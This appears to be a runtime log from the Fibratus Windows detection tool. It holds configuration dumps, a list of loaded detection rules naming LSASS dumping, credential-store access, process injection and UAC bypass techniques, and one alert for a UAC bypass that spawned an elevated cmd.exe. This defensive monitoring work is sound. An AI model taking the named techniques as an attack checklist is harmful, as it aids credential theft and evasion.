msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:05:51+01:00 level=info msg=bootstrapping with pid 5796. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:05:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 to=>[] content-type=>text/html enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true max-buffers=>36 min-buffers=>16 stack-enrichment=>true enable-threadpool=>false flush-interval=>1s enable-registry=>true enable-audit-api=>true enable-vamap=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-net=>true enable-mem=>false enable-fileio=>true enable-handle=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true formatter=>text max-backups=>15 max-age=>0] + output ......................... [ http=>[ method=>POST tls-insecure-skip-verify=>false enabled=>false endpoints=>[] serializer=>json timeout=>5s enable-gzip=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ timeout=>5s flush-period=>1s trace-log=>false gzip-compression=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus enabled=>false healthcheck=>true bulk-workers=>1] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient exchange=>fibratus vhost=>/ passive=>false enabled=>false durable=>false url=>amqp://localhost:5672 routing-key=>fibratus]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s excluded-files=>[] skip-registry=>false skip-mmaps=>false fastscan=>true skip-allocs=>false excluded-procs=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:05:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:05:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:07:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:07:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:07:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:07:21+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T17:07:21+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T17:07:21+01:00 level=info msg=bootstrapping with pid 16644. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:07:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] content-type=>text/html use-template=>true enabled=>false] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-net=>true stack-enrichment=>true buffer-size=>512 enable-audit-api=>true enable-image=>true flush-interval=>1s enable-fileio=>true enable-handle=>false max-buffers=>36 enable-registry=>true enable-dns=>false enable-mem=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 log-stdout=>true level=>info max-age=>0] + output ......................... [ amqp=>[ passive=>false timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 durable=>false vhost=>/ routing-key=>fibratus delivery-mode=>transient enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false endpoints=>[] method=>POST serializer=>json] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ index-name=>fibratus sniff=>false healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s gzip-compression=>false enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s trace-log=>false flush-period=>1s bulk-workers=>1] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] scan-timeout=>10s excluded-procs=>[] skip-registry=>false skip-files=>false skip-mmaps=>false fastscan=>true skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:07:21+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:07:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:07:41+01:00 level=info msg=sending alert: [UAC bypass via ICMLuaUtil COM interface]. Text: Event(s): + Seq: 4467555 + Pid: 11988 + Tid: 14068 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-21 17:07:29.9274525 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe" , directory_table_base➜ 3fc3e7000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbc88f5131080, name➜ cmd.exe, pid➜ 6856, ppid➜ 11988, real_ppid➜ 11988, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-21 17:07:29.9273654 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 5702683259012382720, rule.name: UAC bypass via ICMLuaUtil COM interface, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 11988 + Ppid: 1232 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-21T17:08:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:08:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:08:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:11:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:11:17+01:00 level=info msg=bootstrapping with pid 3040. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:11:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-mem=>false enable-vamap=>true buffer-size=>512 enable-thread=>true min-buffers=>16 flush-interval=>1s enable-dns=>false enable-registry=>true enable-fileio=>true enable-image=>true enable-net=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-handle=>false max-buffers=>36 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 level=>info max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enabled=>false timeout=>5s] amqp=>[ passive=>false vhost=>/ enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus durable=>false delivery-mode=>transient exchange-type=>topic timeout=>5s] elasticsearch=>[ healthcheck=>true bulk-workers=>1 trace-log=>false healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s gzip-compression=>false template-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus enabled=>false sniff=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s skip-allocs=>false skip-mmaps=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:11:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:11:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:21:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:21:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:21:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:21:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:21:38+01:00 level=info msg=bootstrapping with pid 3376. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:21:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 content-type=>text/html to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-fileio=>true enable-registry=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false max-buffers=>36 enable-vamap=>true buffer-size=>512 flush-interval=>1s enable-thread=>true enable-image=>true enable-mem=>false enable-threadpool=>false stack-enrichment=>true min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 max-age=>0 level=>info max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false healthcheck-interval=>10s gzip-compression=>false index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s template-name=>fibratus sniff=>false enabled=>false] amqp=>[ passive=>false enabled=>false url=>amqp://localhost:5672 timeout=>5s routing-key=>fibratus durable=>false vhost=>/ delivery-mode=>transient 